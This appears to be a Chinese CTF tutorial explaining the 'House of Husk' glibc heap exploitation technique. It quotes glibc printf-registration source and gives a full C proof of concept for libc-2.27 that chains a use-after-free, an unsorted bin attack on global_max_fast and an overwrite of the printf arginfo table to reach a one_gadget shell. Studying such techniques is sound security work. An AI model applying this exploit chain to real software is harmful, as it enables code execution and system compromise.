House Of Husk这种攻击方式是一种利用了printf调用链的攻击方式,应用在只能进行大堆块分配(超过fastbin),存在或者能够构造出UAF漏洞。

House of Husk - CTFするぞ

House Of Husk

原理

libc中存在__register_printf_function函数,如下

// stdio-common/reg-printf.c
int
__register_printf_specifier (int spec, printf_function converter,
			     printf_arginfo_size_function arginfo)
{
  if (spec < 0 || spec > (int) UCHAR_MAX)
    {
      __set_errno (EINVAL);
      return -1;
    }

  int result = 0;
  __libc_lock_lock (lock);

  if (__printf_function_table == NULL)
    {
      __printf_arginfo_table = (printf_arginfo_size_function **)
	calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
	{
	  result = -1;
	  goto out;
	}

      __printf_function_table = (printf_function **)
	(__printf_arginfo_table + UCHAR_MAX + 1);
    }

  __printf_function_table[spec] = converter;
  __printf_arginfo_table[spec] = arginfo;

 out:
  __libc_lock_unlock (lock);

  return result;
}
libc_hidden_def (__register_printf_specifier)
weak_alias (__register_printf_specifier, register_printf_specifier)

/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_function (int spec, printf_function converter,
			    printf_arginfo_function arginfo)
{
  return __register_printf_specifier (spec, converter,
				      (printf_arginfo_size_function*) arginfo);
}
weak_alias (__register_printf_function, register_printf_function)

函数的功能是为每一个字符spec创建一个相应的输出处理函数,可以看到函数首先判断了spec是否大于0xff即是否为ASCII,接着如果__printf_function_table不存在的话则为__printf_function_table,__printf_arginfo_table创建0x100大小的空间,将table中相应位置的printf_function函数指针赋值为arginfo,coverter。即完成了一次对spec字符的指定输出处理函数的创建。

那么在printf函数或者具有格式化字符串处理功能的函数中中,如果检测到__printf_function_table函数表不为空的话,就会进入慢路径即do_positional

// stdio-common/vfprintf.c
//printf 调用链 printf->vprintf->vfprintf
if (__glibc_unlikely (__printf_function_table != NULL
                      || __printf_modifier_table != NULL
                      || __printf_va_arg_table != NULL))
    goto do_positional;
...
do_positional:
  if (__glibc_unlikely (workstart != NULL))
    {
      free (workstart);
      workstart = NULL;
    }
  done = printf_positional (s, format, readonly_format, ap, &ap_save,
			    done, nspecs_done, lead_str_end, work_buffer,
			    save_errno, grouping, thousands_sep);

慢路径中调用了printf_positional函数来对当前字符进行输出处理,该函数进一步调用了__parse_one_specmb函数,在该函数中即对当前字符进行了解析。

if (__builtin_expect (__printf_function_table == NULL, 1)
    || spec->info.spec > UCHAR_MAX
    || __printf_arginfo_table[spec->info.spec] == NULL
    /* We don't try to get the types for all arguments if the format
	 uses more than one.  The normal case is covered though.  If
	 the call returns -1 we continue with the normal specifiers.  */
    || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
              (&spec->info, 1, &spec->data_arg_type,
               &spec->size)) < 0)

那么如果我们覆盖了__printf_function_table,__printf_arginfo_table这两个函数表,那么在printf函数进行格式化字符串解析的时候就会调用我们预期的函数。

POC

分析

POC, Binary文件

/**
 * Husk's method - House of Husk
 * This PoC is supposed to be run with libc-2.27
 */
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO   0x3ec870
#define ONE_GADGET       0x10a38c

int main (void)
{
  unsigned long libc_base;
  char *a[10];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL); // make printf quiet

  /* leak libc */
  a[0] = malloc(0x500); /* UAF chunk */
  a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
  a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
  a[3] = malloc(0x500); /* avoid consolidation */
  free(a[0]);
  libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
  printf("libc @ 0x%lx\\\\n", libc_base);

  /* prepare fake printf arginfo table */
  *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;

  /* unsorted bin attack */
  *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
  a[0] = malloc(0x500); /* overwrite global_max_fast */

  /* overwrite __printf_arginfo_table */
  free(a[1]);
  free(a[2]);

  /* ignite! */
  getchar();
  printf("%X", 0);

  return 0;
}

我们知道当fastbin链表中存在堆块的时候,堆块的地址会存储在main_arena附近的位置,当我们利用unsorted bin attackglobal_max_fast更改为一个较大的数值的时候,所有的堆块都将存储在main_arena附近的位置,但是由于fastbin链表中的位置有限,因此会造成溢出,可以向高地址的任意位置写入一个高地址。位置(与main_arena的偏移)与释放的堆块的大小如下

chunk_size = offset*2 - 0x10

这样上述的POC的逻辑就很清楚了,首先利用UAF构造unsorted bin attackglobal_max_fast改写为一个较大的数值,接着申请两个特定大小的堆块,使得释放的时候可以直接覆盖_printf_function_table,_printf_arginfo_table两个表的地址。在_printf_arginfo_table表的特定位置(需要根据格式化字符串的字符确定,如果字符为x那么位置就是table[(ord('x')-1)])布置好我们需要调用的函数指针,接着释放两个堆块,则在进行格式化字符串输出的时候,就会调用相应的函数。